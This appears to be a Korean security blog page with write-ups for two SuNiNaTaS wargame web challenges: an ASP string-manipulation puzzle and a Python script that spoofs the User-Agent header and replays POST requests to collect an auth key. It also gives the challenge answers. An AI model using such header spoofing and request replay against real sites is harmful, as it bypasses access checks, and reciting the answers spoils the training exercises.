'2019/10'에 해당되는 글 2건

  1. 2019.10.07 [SuNiNaTaS] challenges_01
  2. 2019.10.07 [SuNiNaTaS] challenges_04

어떤 문자열을 입력하면 Check를 한다.

 

asp 웹 문법이 2종류가 나온다.

1. Replace(str, "a", "aad") → 입력한 문자열(=str)에서 "a"라는 문자를 "aad"로 바꿈.

2. Mid(str, 2, 2) → 입력한 문자열(=str)에서 2번째 문자포함 2개의 문자를 가져온다.

(3번째 인자의 값이 총 문자열의 길이 이상일 경우(out of range) : 문자열 끝까지 반환)

(문자열을 셀 때 맨 앞의 첫 문자가 0번째 문자가 아님. 1번째 문자)

 

Replace(str, "a", "aad")

입력한 문자열(=str)에서 "a"라는 문자를 "aad"로 바꿈.

Replace(str, "i", "in")

입력한 문자열(=str)에서 "i"라는 문자를 "in"로 바꿈.

Mid(str, 2, 2)

입력한 문자열(=str)에서 2번째 문자포함 2개의 문자를 가져온다.

Mid(str, 4, 6)

입력한 문자열(=str)에서 4번째 문자포함 6개의 문자를 가져온다.

 

result = result1 & result2

result1 = "abc" 이고 result2 = "def" 일 경우

result 는 "abcdef" 가 된다.

 

Response.write result

이 코드는 result 라는 변수에 결과 값을 쓰는 코드로 보인다.

 

그렇게 해서 만들어진 result 변수의 문자열을 검사해서 "admin"이라는 문자열과 같으면

PW를 알려준다.

 

그럼 우리가 할 일은?

 

"STR" → Replace(str, "a", "aad") → Replace(str, "i", "in") → Mid(str, 2, 2) → Mid(str, 4, 6) → & 연산 → "admin"

에서

 

"STR"에 어떤 문자열을 넣어야 하나? 이다.

 

나는 이 문제를 풀 때 Replace(str, "a", "aad")가 있으므로

"a"부터 시작했다.

 

STR = "a"

 

그러면 "a"는 "aad"로 바뀌고, "admin"이 나와야 하므로 "m"을 추가했다.

 

STR = "am" → "aadm"

 

그리고 "in"이 나와야 하는데, "i"만 넣어도 "in"이 반환되므로 "i" 만 추가한다.

 

STR = "ami" → "aadmi" → "aadmin"

 

다음, result1은 Mid(str, 2, 2) 이므로

result1 = "ad"

 

result2는 Mid(str, 4, 6) 이므로

result2 = "min" (→ 6개가 다 없기 때문에 문자열 끝까지만 반환한다)

 

결국, result = result1  & result2 이기 때문에

result = "admin" 이 나온다.

 

blank에 ami를 치면

 

정답이다.

 

그러면 아래에 이렇게 Authkey가 공개된다.

 

1번은 너무 쉬운 문제였다.

'보안 & 모의해킹 > SuNiNaTaS' 카테고리의 다른 글

[SuNiNaTaS] challenges_10  (0) 2019.11.06
[SuNiNaTaS] challenges_04  (0) 2019.10.07
Posted by NDC :

Plus 버튼을 누르면 Point 값이 올라간다.

하지만 무한정 올라가는 것이 아님.

 

25까지 올리게 되면

이런 창이 뜨면서 더 이상 올라가지 않는다.

 

Firefox 에서 F12를 눌러 페이지 소스를 본다.

 

일부분 캡쳐본.

 

Hint 를 보면

Make your point to 50 & 'SuNiNaTaS'

라고 써져있다.

 

대충 볼 수 있는것이

1. User-Agent

2. Auth key

두 개이다.

 

* SuNiNaTaS 브라우저를 원한다고 했으니 User-Agent 를 Mozilla/5.0~~~에서 SuNiNaTaS로 바꿔주고 *

point를 검사하는 web04_ck.asp 페이지의 헤더(User-Agent)를 바꾼 상태에서 50번 GET하고

현재 point를 볼 수 있는 web04.asp 페이지를 GET하면

 

web04_ck.asp 에서 point가 50일 때 GET한 web04.asp 페이지의 Auth key를 읽어올 수 있을 것이다.

 

이는 Python 코드로 작성하였다.

 

"""
title : SuNiNaTaS 4
date : 2019-10-07
"""
 
import requests
 
if __name__ == '__main__':
    url = 'http://suninatas.com/challenge/web04/web04_ck.asp'
    url2 = 'http://suninatas.com/challenge/web04/web04.asp'
 
    sess = requests.Session()
    headers = {'User-Agent''SuNiNaTaS'}
    count = 0
 
    while True:
        resp1 = sess.post(url, headers=headers)
        resp2 = sess.get(url2, headers=headers)
        count = count + 1
        print("POST count:", count)
        print(resp2.text)
    
        if count > 50:
            break
    
    exit(0)

url = 'http://suninatas.com/challenge/web04/web04_ck.asp'

url2 = 'http://suninatas.com/challenge/web04/web04.asp'

 

각 url 문자열을 저장한 후,

headers = {'User-Agent': 'SuNiNaTaS'} 로 바꿀 헤더의 User-Agent 정보를 저장한다.

 

response1 = sess.post(url, headers=headers) 로 web04_ck.asp 위치에 POST를 보내고

이에 따른 response2 = sess.get(url2, headers=headers) 로 web04.asp 페이지를 GET한다.

이후에 resp2.text 를 출력하면 GET한 resp2 의 소스 코드가 출력이 되는데,

 

여기서 Auth key 부분을 찾으면 된다.

 

 

 

Point=11, User-Agent=SuNiNaTaS, Auth key=?????

 

 

Point=35, User-Agent=SuNiNaTaS, Auth key=?????

 

 

Point=49, User-Agent=SuNiNaTaS, Auth key=?????

 

 

Point=50, User-Agent=SuNiNaTaS, Auth key=Change your Us3r Ag3ent

아마 50번 Plus 하면 자동으로 0으로 리셋되는 것 같다.

POST count가 50일 때 Auth key가 공개되는 것을 알 수 있다.

 

 

참고 : POST count가 51일 땐, 다시 1부터 count한다. 역시 Auth key는 POST count가 50이 아니므로 ?????로 출력된다.

'보안 & 모의해킹 > SuNiNaTaS' 카테고리의 다른 글

[SuNiNaTaS] challenges_10  (0) 2019.11.06
[SuNiNaTaS] challenges_01  (0) 2019.10.07
Posted by NDC :